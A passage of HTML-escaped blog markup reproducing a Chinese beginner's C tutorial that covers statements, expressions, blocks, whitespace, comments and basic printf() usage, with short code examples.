class=\"headerlink\" title=\"语句\"\u003e\u003c/a\u003e语句\u003c/h3\u003e\u003cp\u003eC 语言的代码由一行行语句(statement)组成。语句就是程序执行的一个操作命令。C 语言规定,语句必须使用分号结尾,除非有明确规定可以不写分号。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面就是一个变量声明语句,声明整数变量\u003ccode\u003ex\u003c/code\u003e,并且将值设为\u003ccode\u003e1\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e多个语句可以写在一行。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x; x = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例是两个语句写在一行。所以,语句之间的换行符并不是必需的,只是为了方便阅读代码。\u003c/p\u003e\u003cp\u003e一个语句也可以写成多行,这时就要依靠分号判断语句在哪一行结束。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ex\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e=\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,第二个语句\u003ccode\u003ex = 1;\u003c/code\u003e被拆成了四行。编译器会自动忽略代码里面的换行。\u003c/p\u003e\u003cp\u003e单个分号也是有效语句,称为“空语句”,虽然毫无作用。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"表达式\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E8%A1%A8%E8%BE%BE%E5%BC%8F\" class=\"headerlink\" title=\"表达式\"\u003e\u003c/a\u003e表达式\u003c/h3\u003e\u003cp\u003eC 语言的各种计算,主要通过表达式完成。表达式(expression)是一个计算式,用来获取值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e1\u003c/span\u003e + \u003cspan class=\"number\"\u003e2\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码就是一个表达式,用来获取\u003ccode\u003e1 + 2\u003c/code\u003e这个算术计算的结果。\u003c/p\u003e\u003cp\u003e表达式加上分号,也可以成为语句,但是没有实际的作用。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e8\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e3\u003c/span\u003e + \u003cspan class=\"number\"\u003e4\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例是两个表达式,加上分号以后成为语句。\u003c/p\u003e\u003cp\u003e表达式与语句的区别主要是两点:\u003c/p\u003e\u003cul\u003e\u003cli\u003e语句可以包含表达式,但是表达式本身不构成语句。\u003c/li\u003e\u003cli\u003e表达式都有返回值,语句不一定有。因为语句用来执行某个命令,很多时候不需要返回值,比如变量声明语句(\u003ccode\u003eint x = 1\u003c/code\u003e)就没有返回值。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"语句块\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E8%AF%AD%E5%8F%A5%E5%9D%97\" class=\"headerlink\" title=\"语句块\"\u003e\u003c/a\u003e语句块\u003c/h3\u003e\u003cp\u003eC 语言允许多个语句使用一对大括号\u003ccode\u003e{}\u003c/code\u003e,组成一个块,也称为复合语句(compounded statement)。在语法上,语句块可以视为多个语句组成的一个复合语句。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e x;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e x = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,大括号形成了一个语句块。\u003c/p\u003e\u003cp\u003e大括号的结尾不需要添加分号。\u003c/p\u003e\u003ch3 id=\"空格\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E7%A9%BA%E6%A0%BC\" class=\"headerlink\" title=\"空格\"\u003e\u003c/a\u003e空格\u003c/h3\u003e\u003cp\u003eC 语言里面的空格,主要用来帮助编译器区分语法单位。如果语法单位不用空格就能区分,空格就不是必须的,只是为了增加代码的可读性。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x=\u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,赋值号(\u003ccode\u003e=\u003c/code\u003e)前后有没有空格都可以,因为编译器这里不借助空格,就能区分语法单位。\u003c/p\u003e\u003cp\u003e语法单位之间的多个空格,等同于单个空格。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,各个语法单位之间的多个空格,跟单个空格的效果是一样的。\u003c/p\u003e\u003cp\u003e空格还用来表示缩进。多层级的代码有没有缩进,其实对于编译器来说并没有差别,没有缩进的代码也是完全可以运行的。强调代码缩进,只是为了增强代码可读性,便于区分代码块。\u003c/p\u003e\u003cp\u003e大多数 C 语言的风格要求是,下一级代码比上一级缩进4个空格。为了书写的紧凑,本书采用缩写两个空格。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 缩进四个空格\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (x \u0026gt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;positive\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 缩进两个空格\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (x \u0026gt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;positive\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e只包含空格的行被称为空白行,编译器会完全忽略该行。\u003c/p\u003e\u003ch3 id=\"注释\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%B3%A8%E9%87%8A\" class=\"headerlink\" title=\"注释\"\u003e\u003c/a\u003e注释\u003c/h3\u003e\u003cp\u003e注释是对代码的说明,编译器会忽略注释,也就是说,注释对实际代码没有影响。\u003c/p\u003e\u003cp\u003eC 语言的注释有两种表示方法。第一种方法是将注释放在\u003ccode\u003e/*...*/\u003c/code\u003e之间,内部可以分行。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/* 注释 */\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/*\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e 这是一行注释\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e*/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这种注释可以插在行内。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eopen\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003echar\u003c/span\u003e* s \u003cspan class=\"comment\"\u003e/* file name */\u003c/span\u003e, \u003cspan class=\"type\"\u003eint\u003c/span\u003e mode)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e/* file name */\u003c/code\u003e用来对函数参数进行说明,跟在它后面的代码依然会有效执行。\u003c/p\u003e\u003cp\u003e这种注释一定不能忘记写结束符号\u003ccode\u003e*/\u003c/code\u003e,否则很容易导致错误。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;a \u0026#34;\u003c/span\u003e); \u003cspan class=\"comment\"\u003e/* 注释一\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003eprintf(\u0026#34;b \u0026#34;);\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003eprintf(\u0026#34;c \u0026#34;); /* 注释二 */\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;d \u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例的原意是,第一行和第三行代码的尾部,有两个注释。但是,第一行注释忘记写结束符号,导致注释一延续到第三行结束。\u003c/p\u003e\u003cp\u003e第二种写法是将注释放在双斜杠\u003ccode\u003e//\u003c/code\u003e后面,从双斜杠到行尾都属于注释。这种注释只能是单行,可以放在行首,也可以放在一行语句的结尾。这是 C99 标准新增的语法。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 这是一行注释\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 这也是注释\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e不管是哪一种注释,都不能放在双引号里面。双引号里面的注释符号,会成为字符串的一部分,解释为普通符号,失去注释作用。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;// hello /* world */ \u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,双引号里面的注释符号,都会被视为普通字符,没有注释作用。\u003c/p\u003e\u003cp\u003e编译时,注释会被替换成一个空格,所以\u003ccode\u003emin/* space */Value\u003c/code\u003e会变成\u003ccode\u003emin Value\u003c/code\u003e,而不是\u003ccode\u003eminValue\u003c/code\u003e。\u003c/p\u003e\u003ch3 id=\"printf\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#printf\" class=\"headerlink\" title=\"printf()\"\u003e\u003c/a\u003eprintf()\u003c/h3\u003e\u003ch4 id=\"基本用法\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%9F%BA%E6%9C%AC%E7%94%A8%E6%B3%95\" class=\"headerlink\" title=\"基本用法\"\u003e\u003c/a\u003e基本用法\u003c/h4\u003e\u003cp\u003e本书的示例会大量用到\u003ccode\u003eprintf()\u003c/code\u003e函数,这里先介绍一下这个函数。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eprintf()\u003c/code\u003e的作用是将参数文本输出到屏幕。它名字里面的\u003ccode\u003ef\u003c/code\u003e代表\u003ccode\u003eformat\u003c/code\u003e(格式化),表示可以定制输出文本的格式。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Hello World\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面命令会在屏幕上输出一行文字“Hello World”。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eprintf()\u003c/code\u003e不会在行尾自动添加换行符,运行结束后,光标就停留在输出结束的地方,不会自动换行。为了让光标移到下一行的开头,可以在输出文本的结尾,添加一个换行符\u003ccode\u003e\\n\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Hello World\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果文本内部有换行,也是通过插入换行符来实现。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Hello\\nWorld\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例先输出一个\u003ccode\u003eHello\u003c/code\u003e,然后换行,在下一行开头输出\u003ccode\u003eWorld\u003c/code\u003e,然后又是一个换行。\u003c/p\u003e\u003cp\u003e上面示例也可以写成两个\u003ccode\u003eprintf()\u003c/code\u003e,效果完全一样。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Hello\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;World\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003eprintf()\u003c/code\u003e是在标准库的头文件\u003ccode\u003estdio.h\u003c/code\u003e定义的。使用这个函数之前,必须在源码文件头部引入这个头文件。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Hello World\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan 